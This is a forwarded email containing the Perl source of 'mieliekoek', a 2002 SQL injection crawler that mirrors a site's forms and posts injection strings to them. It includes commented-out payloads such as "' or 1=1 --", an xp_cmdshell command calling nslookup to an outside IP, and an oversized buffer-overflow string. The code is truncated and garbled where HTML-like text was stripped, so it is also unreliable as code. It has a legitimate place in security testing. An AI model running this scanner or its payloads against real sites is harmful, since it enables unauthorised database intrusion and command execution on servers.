---------- Forwarded message ---------- #!/usr/bin/perl # mieliekoek - SQL insertion crawler # Test all forms on a web site for possible SQL insertion problems. # This script takes the output of a web mirroring tools as input. It # inspects every file and determine if there is a form in the file. If so it # tries to do some some form of SQL insertion (inserts blah' in all fields) # and looks at the output - if it sees "ODBC" it marks the form as # vulnerable. Of course this is a very lame test - another would be to do a # xp_cmdshell with a nslookup and see if the UDP packets gets back to you on # port 53 - a better test, but not intergrated in here. Output is written in # a file called .report and contains all kinds of nice goodies. # Have a look. # The script has some intelligence regarding the parsing of forms. Note that # the script always send the POST to the target - the second parameter - # thus not always to the site that is used in the action of the form. This # was done to make sure you dont attack something like topsecret.nsa.gov by # mistake just because someone has a form that posts to their site. # Usage: perl mieliekoek.pl # e.g. perl mieliekoek.pl /tmp/websites/www.a.com/www.a.com www.a.com xx # Use the script with HTTrack (web mirroring tool). HTTrack is very cool and # works very nicely in Unix. It's also nice because it populates the action # field in a form with the absolute path and not the relative path # (http://www.httrack.com/httrack-3.15-2.tar.gz). The script does a simple # "find" in the path specified and reads all the files from STDIN. Debug is # either "x" for small amounts of debug info or "xx" for large amounts. # You can also use this script to test for buffer overflows in home grown # web applications by sending overly huge amounts of crap. See the code. # Enjoy, # Roelof Temmingh (roelof@sensepost.com) # http://www.sensepost.com # 2002/02/22 use Socket; $|=1; # What are we sending today? (uncomment the one you like best) $badstring="blah'"; #$badstring="blah' or 1=1 --"; #$badstring="blah' exec master..xp_cmdshell 'nslookup a.com 196.30.67.5' --"; #$badstring=('X' x 2050); ($path)=@ARGV[0]; ($target)=@ARGV[1]; ($debug)=@ARGV[2]; $masterforms=0; $vulnforms=0; $acin=0; @files=`find $path | sort`; foreach $file (@files){ if (length($debug)>1){print "f.";} if (($file =~ /html/i) || ($file =~ /asp/i)){ $flag=-1; $in=-1; open (IN, $file) || die "Cannot open file $file\n"; #get the page in one large chunk @page=; close (IN); ##clear the buffers (300 forms per page?) for ($l=0; $l<300; $l++){ $formstatement[$l]=""; $form[$l]=""; } foreach $line (@page){ $line =~ s/\n//g; $line =~ s/\r//g; @chars=split(//,$line); for ($i=0; $i <= $#chars; $i++){ #detects open bracket if ((@chars[$i] eq '<') && ($flag==-1)) {$flag=0;} #detects "form " if ($flag==0) { $isform=@chars[$i].@chars[$i+1].@chars[$i+2].@chars[$i+3].@chars[$i+4].@chars[$i+5]; if ($isform =~ /
') { $flag=2; } } #detects end of complete form if ($flag==2){ $isformend=@chars[$i].@chars[$i+1].@chars[$i+2].@chars[$i+3].@chars[$i+4]; if ($isformend =~ /\/form/i) { $flag=-1; $i=$i+4; } else {$form[$in]=$form[$in].@chars[$i];} } } } ## ## OK we got the forms - now we need to parse it $masterforms=$masterforms+($in+1); # first the form actions etc. for ($i=0; $i<$in+1; $i++){ $workheader=$formstatement[$i]; ##extract header for ($j=2; $j"); $j=$j+length($line); $theaction=extract(" action",$line); if (length($theaction)<1) { # if there is no action we need to post to ourselfs - yuk! @blah=split(/$target/,$file); ($name,$ext)=split(/\./,@blah[2]); $theaction="http://".$target.$name.".asp"; } $themethod=extract("method",$line); $thefname=extract("name",$line); ## insert the action into a list (we dont wanna check the same ASP 200 times) $actions{$theaction}++; if ($actions{$theaction} eq 1) { print "\n\nFile $file\n [$theaction]\n"; qprint ("\n===========================\n File $file Form [$theaction]\n===========================\n"); } } #extracts body of form if ($actions{$theaction} eq 1) { $work=$form[$i]; qprint ("FORM:\nv v v v v v v v v v v v v v v v v v v v v v v v v v\n"); qprint ("\n^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^\n\n"); for ($j=2; $j"); $j=$j+length($line); if (length($debug)>1){print ".p";} #### drop down list (once) if ($line =~ /